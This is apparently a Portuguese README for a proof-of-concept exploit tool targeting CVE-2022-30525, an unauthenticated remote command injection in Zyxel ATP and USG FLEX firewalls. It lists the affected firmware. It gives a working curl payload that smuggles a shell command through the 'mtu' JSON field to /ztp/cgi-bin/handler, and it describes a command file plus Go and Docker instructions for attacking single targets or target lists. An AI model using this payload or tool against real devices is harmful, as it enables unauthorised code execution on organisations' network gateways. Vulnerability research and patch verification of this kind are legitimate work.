
Exploit de prova de conceito para CVE-2022-30525 permitindo injeção remota de comandos não autenticada em firewalls Zyxel via requisições HTTP POST para o endpoint /ztp/cgi-bin/handler.
Rapid7 descobriu e relatou uma vulnerabilidade que afeta firewalls Zyxel que suportam Zero Touch Provisioning (ZTP), que inclui as séries ATP, VPN e USG FLEX (incluindo USG20-VPN e USG20W-VPN). A vulnerabilidade, identificada como CVE-2022-30525, permite que um invasor remoto não autenticado execute código arbitrário como o usuário nobody no dispositivo afetado.
A tabela a seguir contém os modelos e versões de firmware afetados.
Modelo Afetado USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1
A série VPN, que também suporta ZTP, não é vulnerável porque não suporta a funcionalidade necessária.
Os modelos afetados são vulneráveis a injeção remota de comandos não autenticados através da interface HTTP administrativa. Os comandos são executados como o usuário nobody. Esta vulnerabilidade é explorada através da URI /ztp/cgi-bin/handler.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Deve ser criado um arquivo cmds onde você pode adicionar comandos a serem executados pelo programa no seguinte formato:
bash -c "command#1 && command#2 && etc."
Por exemplo:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Onde INPUT_FILE é uma URL alvo ou arquivo com lista de alvos.
Você é livre para me contatar via Keybase para quaisquer detalhes.